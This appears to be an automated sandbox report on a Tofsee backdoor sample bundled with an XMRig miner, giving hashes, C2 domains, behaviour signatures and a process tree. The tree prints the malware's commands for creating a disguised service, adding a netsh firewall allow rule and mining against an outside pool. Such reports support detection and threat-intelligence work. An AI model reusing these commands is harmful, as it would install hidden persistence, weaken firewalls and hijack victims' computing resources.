Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/10/2022, 15:49

General

  • Target

    a46a35a86fcf9a6e8a7cd81c982267bc51511a37a8476db29531d6847d057628.exe

  • Size

    219KB

  • MD5

    f2d5d81b512760f3da1591a2f9135fb0

  • SHA1

    7541ae7ccf7a6694433d0e159747584dfe749636

  • SHA256

    a46a35a86fcf9a6e8a7cd81c982267bc51511a37a8476db29531d6847d057628

  • SHA512

    29332e054a122251e12ef351dfdc5cca4424a5f90e4526f286c3e7c581cfa2f5b8da8b139445f293d56c8a87cc7cc2e64a7de53921dd664b2166fc86d7f2f1ad

  • SSDEEP

    3072:KfcugiOwIEvFkIL6V66JrtKI5l2S7yAVRYZXAQyrMvPkwI/5aBGx:5ugspvZL6V6irtG4VRrGvP/I/D

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a46a35a86fcf9a6e8a7cd81c982267bc51511a37a8476db29531d6847d057628.exe
    "C:\Users\Admin\AppData\Local\Temp\a46a35a86fcf9a6e8a7cd81c982267bc51511a37a8476db29531d6847d057628.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4236
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gfibolze\
      2⤵
        PID:3584
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\smowsmsl.exe" C:\Windows\SysWOW64\gfibolze\
        2⤵
          PID:4500
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gfibolze binPath= "C:\Windows\SysWOW64\gfibolze\smowsmsl.exe /d\"C:\Users\Admin\AppData\Local\Temp\a46a35a86fcf9a6e8a7cd81c982267bc51511a37a8476db29531d6847d057628.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5040
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gfibolze "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2268
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gfibolze
          2⤵
          • Launches sc.exe
          PID:1220
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4892
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 600
          2⤵
          • Program crash
          PID:4960
      • C:\Windows\SysWOW64\gfibolze\smowsmsl.exe
        C:\Windows\SysWOW64\gfibolze\smowsmsl.exe /d"C:\Users\Admin\AppData\Local\Temp\a46a35a86fcf9a6e8a7cd81c982267bc51511a37a8476db29531d6847d057628.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5024
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:116
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3924
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5024 -s 512
          2⤵
          • Program crash
          PID:1284
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4236 -ip 4236
        1⤵
          PID:4528
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5024 -ip 5024
          1⤵
            PID:628

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\smowsmsl.exe

            Filesize

            14.5MB

            MD5

            ff93d48a6ad8c4ef2efff4bb62854fbd

            SHA1

            f83f36aecde95b8d81e7a4f3bf07ea9640e6528f

            SHA256

            5f990367cc5a80a38f13e04914326e6bb0f770f78e3310ac61b37ad55b2cd0b3

            SHA512

            07e633e395ab38f0f4bcc4b519274052addb9a0716480ff575555a0faf8fd67133105714bed40818d32e626f6222aca99f6c65ff3386d4b8a467bd2cdc8f6382

          • C:\Windows\SysWOW64\gfibolze\smowsmsl.exe

            Filesize

            14.5MB

            MD5

            ff93d48a6ad8c4ef2efff4bb62854fbd

            SHA1

            f83f36aecde95b8d81e7a4f3bf07ea9640e6528f

            SHA256

            5f990367cc5a80a38f13e04914326e6bb0f770f78e3310ac61b37ad55b2cd0b3

            SHA512

            07e633e395ab38f0f4bcc4b519274052addb9a0716480ff575555a0faf8fd67133105714bed40818d32e626f6222aca99f6c65ff3386d4b8a467bd2cdc8f6382

          • memory/116-162-0x00000000025C0000-0x00000000025D0000-memory.dmp

            Filesize

            64KB

          • memory/116-156-0x0000000002E00000-0x000000000300F000-memory.dmp

            Filesize

            2.1MB

          • memory/116-154-0x0000000000F40000-0x0000000000F55000-memory.dmp

            Filesize

            84KB

          • memory/116-159-0x00000000025B0000-0x00000000025B6000-memory.dmp

            Filesize

            24KB

          • memory/116-171-0x00000000025E0000-0x00000000025E7000-memory.dmp

            Filesize

            28KB

          • memory/116-155-0x0000000000F40000-0x0000000000F55000-memory.dmp

            Filesize

            84KB

          • memory/116-149-0x0000000000F40000-0x0000000000F55000-memory.dmp

            Filesize

            84KB

          • memory/116-168-0x0000000007D00000-0x000000000810B000-memory.dmp

            Filesize

            4.0MB

          • memory/116-165-0x00000000025D0000-0x00000000025D5000-memory.dmp

            Filesize

            20KB

          • memory/3924-175-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3924-180-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/4236-136-0x0000000000710000-0x0000000000723000-memory.dmp

            Filesize

            76KB

          • memory/4236-147-0x0000000000400000-0x0000000000595000-memory.dmp

            Filesize

            1.6MB

          • memory/4236-135-0x00000000007A8000-0x00000000007B9000-memory.dmp

            Filesize

            68KB

          • memory/4236-146-0x00000000007A8000-0x00000000007B9000-memory.dmp

            Filesize

            68KB

          • memory/4236-137-0x0000000000400000-0x0000000000595000-memory.dmp

            Filesize

            1.6MB

          • memory/5024-153-0x0000000000400000-0x0000000000595000-memory.dmp

            Filesize

            1.6MB

          • memory/5024-152-0x0000000000863000-0x0000000000874000-memory.dmp

            Filesize

            68KB